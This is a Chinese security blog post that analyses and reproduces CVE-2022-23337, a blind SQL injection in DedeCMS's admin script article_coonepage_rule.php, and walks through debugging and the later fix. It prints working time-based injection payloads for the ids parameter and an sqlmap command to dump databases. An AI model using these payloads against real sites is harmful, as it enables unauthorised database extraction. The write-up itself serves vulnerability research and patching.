type
Post
status
Published
date
Aug 25, 2022
slug
124
summary
debug~
tags
PHP
category
漏洞分析
icon
password
漏洞编号
CVE-2022-23337
No.
同步状态
状态
已完成
Author
 

0 漏洞概述

根据CVE官网的通告,2022年1月18日收录了Dedecms v5.7.87的一个sql注入漏洞,漏洞点存在于article_coonepage_rule.php,影响版本为v5.7.87
notion image
有且仅有的一个参考链接已经失效无法访问,估计作者不再公开文章了。经过一番查找,发现网上没有任何相关的poc和文章,于是决定分析一下缘由并构造利用POC。

1 环境

1.1 影响版本

在官网查看更新日志,发现v5.7.88并未有对article_coonepage_rule.php 的相关更新描述和补丁,该漏洞在v5.7.89才修复
notion image
往前查看更新日志,直到v5.7.42该漏洞文件都未记录有更改,可以下载旧版本的进行复现

1.2 环境搭建

笔者下载的是V5.7.80 UTF-8正式版 ,从日志上看,v5.7.88也是可行的。
💡
其他组件版本: PHP 5.6.9nts Apache 2.4.39 MySQL 5.7.26
解压后访问 /install文件夹按照步骤进行安装即可
 
后台地址:http://your-ip/DedeCMS-5.7.80/dede/
notion image

2 漏洞形成

2.1 漏洞点

查看 /dede/article_coonepage_rule.php ,搜索 ids
notion image
只存在$actiondel的代码中
notion image
从以上代码上看是通过传入id 从数据库中删除对应的note ,判断$actiondel后还有另一个动作,即通过传入的id中是否含有逗号来判断是用户操作是单个删除还是多选删除
单个删除的时候用单引号将id括起,多选的时候用括号。目前看来没有对传入的id进行处理便直接拼接,笔者尝试构造请求
notion image
直接盲注没有成功
notion image

2.2 远程Debug

DeBug看看后端代码如何执行。
  • 用phpstudy和phpstorm远程调试,搭建过程不赘述了,参考网上教程。
  • 在如图位置打断点,开启debug侦听,发送payload
notion image
notion image
 
  • 首先来到正则匹配判断
notion image
可以看到单引号被addslashes了,闭合不了
F7跟进到 \DedeSqli::ExecuteNoneQuery
notion image
这是一个不返回结果的SQL语句,所以联合注入也不会回显结果
继续跟进到 Init 函数,获取数据库连接参数信息
notion image
Open函数连接数据库
notion image
后续判断数据库版本后进入查询,返回 TRUEOpen函数
notion image
继续步入,跟进 SetQuery 函数
notion image
这一步主要是用配置文件中的数据库前缀(安装cms时指定)格式化代码中的数据表前缀
notion image
接着注意到有一个SQL语句安全检查代码
notion image
跳转看看
notion image
notion image
粗略看一下做了很多检查,可以防止绝大多数的sql注入攻击了
遗憾的是,这里的sql语句并没有进到检查,原因是初始化的时候 $safeCheckfalse ,并且在此函数中没有赋为 true
notion image
所以直接跳过这段 CheckSql
notion image
后面一个ExecTime函数计算执行时间,mysqli_query 函数返回 false
ExecuteNoneQuery 返回 false
最后回到 dede/article_coonepage_rule.php
查询 co_onepage 表中的数据并渲染
notion image
过程中传入id后执行删除操作,页面显示的内容为独立的代码从数据库中查出,用户不可控,所以没有对应的注入回显,只能将思路转到报错盲注

3 POC构造探索

  • 后续试了用宽字节和其他字符对单引号进行闭合都没有成功,但是转念一想,就算能闭合引号,但是长的注入语句一般都会有逗号出现,出现了逗号就进入了另一条用括号包裹的sql语句,也就不需要上一步的闭合引号操作了

3.1 报错注入?

由于是白盒,直接到后台构造报错语句
可以看到这个表有6个字段
notion image
模仿后端sql语句构造联合查询报错extractvalue(0x0a,concat(0x0a,(select+database())))
notion image
试一下发数据
notion image
传入后端语句也是跟在phpmyadmin查询时一样的
notion image
可惜并没有报错回显
notion image

3.2 盲注!

  • 那就试试盲注了,先构造试一下
ids=(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))ItPM)
没有延迟返回
 
  • sqlmap开跑,指定level和注入类型,dump数据库
python2 sqlmap.py -r ../../dede1.txt -p ids --level 5 --technique T --dbs
最初用的 level2、3、4都没成功,直到用 5才跑了出来
notion image
最后是用ELT 跑出来的盲注
附上验证payload
/DedeCMS-5.7.80/dede/article_coonepage_rule.php?action=del&ids=ELT(3337>3336,SLEEP(5))
数据库
ids=ELT(ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS NCHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),1,1))!=116,SLEEP(3))
其他类推

4 修复

看一下后续版本修复的代码
notion image
将传入的$ids转换为变量,防止字符拼接,另外对多选删除部分的代码用 explode 函数转换成数组再遍历,将各个值分隔开,防止拼接、闭合等注入

5 附——payload中涉及到的一些sql函数

  • ELT
用法: ELT(N,str1,str2,str3,...)
如果N =1返回str1,如果N= 2返回str2,等等。如果参数的数量小于1或大于N,返回NULL
  • ORD
用法: ORD(str)
如果该str是多字节(指的是multi-byte character setMBCS,字符的大小是可变的;一个MBCS编码包含一些一个字节长的字符,而另一些字符大于一个字节的长度),MySQL ORD() 返回最左边字符的代码。如果最左边的字符不是多字节字符,ORD() 将返回与 ASCII() 函数相同的值。
  • MID
用法: SELECT MID(column_name,start[,length]) FROM table_name
MID 函数用于从文本字段中提取字符,start起始值为1。
  • DISTINCT
用法: SELECT DISTINCT column_name FROM table_name
用于返回唯一不同的值。
  • IFNULL
用法: IFNULL(expression_1,expression_2);
IFNULL函数是MySQL控制流函数之一,它接受两个参数,如果第一个参数不是NULL,则返回第一个参数。 否则,IFNULL函数返回第二个参数。
  • CAST
用法:CAST (expression AS data_type)
CAST函数用于将某种数据类型的表达式显式转换为另一种数据类型。
 

6 相关链接

 
Exchange越权执行命令漏洞CVE-2022-41076复现分析对EventLog Analyzer数据库日志功能实现的简单分析